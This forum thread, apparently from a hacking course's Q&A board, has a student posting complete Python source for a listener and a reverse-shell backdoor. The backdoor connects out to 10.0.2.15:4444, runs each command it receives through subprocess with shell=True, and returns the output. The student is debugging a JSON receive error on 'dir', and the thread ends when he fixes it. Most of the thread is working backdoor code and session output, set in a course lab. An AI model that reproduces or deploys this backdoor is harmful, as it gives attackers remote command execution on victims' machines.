Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #41571
    Peter Queen
    Participant

    Hello Diego,

    when i run listener and the backdoor i get an error while passing the command dir, it works fine with ipconfig, cd, cd .., whoami but as soon as i enter dir i get an error.

    This is the listener code:

    #!/usr/bin/env python
    
    import socket
    import json
    
    class Listener:
        def __init__(self, ip, port):
            listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            listener.bind((ip, port))
            listener.listen(0)
            print("[+] Waiting for incoming connections")
            self.connection, address = listener.accept()
            print("[+] Connection established from " + str(address))
    
        def reliable_send(self, data):
            json_data = json.dumps(data)
            self.connection.send(json_data)
    
        def reliable_receive(self):
            json_data = self.connection.recv(1024)
            return json.loads(json_data)
    
        def execute_remotely(self, command):
            self.reliable_send(command)
            return self.reliable_receive()
    
        def run(self):
            while True:
                command = raw_input("Enter command >> ")
                result = self.execute_remotely(command)
                print(result)
    
    my_listener = Listener("10.0.2.15", 4444)
    my_listener.run()

    and this is the reverse backdoor code:

    #!/usr/bin/env python
    
     
    
     
    
    import socket
    
    import subprocess
    
    import json
    
     
    
    class Backdoor:
    
                    def __init__(self, ip, port):
    
                                    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
                                    self.connection.connect((ip, port))
    
     
    
                    def reliable_send(self, data):
    
                    json_data = json.dumps(data)
    
                    self.connection.send(json_data)
    
     
    
            def reliable_receive(self):
    
                    json_data = self.connection.recv(1024)
    
                    return json.loads(json_data)
    
     
    
                    def execute_system_command(self, command):
    
                                    return subprocess.check_output(command, shell=True)
    
     
    
     
    
                    def run(self):
    
                                    while True:
    
                                                    command = self.reliable_receive()
    
                                                    command_result = self.execute_system_command(command)
    
                                                    self.reliable_send(command_result)
    
     
    
                                    connection.close()
    
     
    
    my_backdoor = Backdoor("10.0.2.15", 4444)
    
    my_backdoor.run()

    and this is the error i get on the Kali machine where i run the listener, i left the two previous command to show that it worked before dir.

    Enter command >> cd
    C:\Users\IEUser\Downloads
    
    Enter command >> cd ..
    
    Enter command >> dir
    Traceback (most recent call last):
      File "listener_extra.py", line 37, in <module>
        my_listener.run()
      File "listener_extra.py", line 32, in run
        result = self.execute_remotely(command)
      File "listener_extra.py", line 27, in execute_remotely
        return self.reliable_receive()
      File "listener_extra.py", line 23, in reliable_receive
        return json.loads(json_data)
      File "/usr/lib/python2.7/json/__init__.py", line 339, in loads
        return _default_decoder.decode(s)
      File "/usr/lib/python2.7/json/decoder.py", line 364, in decode
        obj, end = self.raw_decode(s, idx=_w(s, 0).end())
      File "/usr/lib/python2.7/json/decoder.py", line 380, in raw_decode
        obj, end = self.scan_once(s, idx)
    ValueError: Unterminated string starting at: line 1 column 1 (char 0)
    root@kali:~/PycharmProjects/reverse_backdoor_extra# 
    #41572
    Peter Queen
    Participant

    For some reason the format of the reverse backdoor got mixed up, here it is :

    #!/usr/bin/env python
    
    import socket
    import subprocess
    import json
    
    class Backdoor:
        def __init__(self, ip, port):
            self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connection.connect((ip, port))
    
        def reliable_send(self, data):
            json_data = json.dumps(data)
            self.connection.send(json_data)
    
        def reliable_receive(self):
            json_data = self.connection.recv(1024)
            return json.loads(json_data)
    
        def execute_system_command(self, command):
            return subprocess.check_output(command, shell=True)
    
        def run(self):
            while True:
                command = self.reliable_receive()
                command_result = self.execute_system_command(command)
                self.reliable_send(command_result)
    
            connection.close()
    
    my_backdoor = Backdoor("10.0.2.15", 4444)
    my_backdoor.run()
    #41582
    Peter Queen
    Participant

    Sorted it I needed to allow more data and except Error

    #41623
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Cool you got it!
    Diego

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.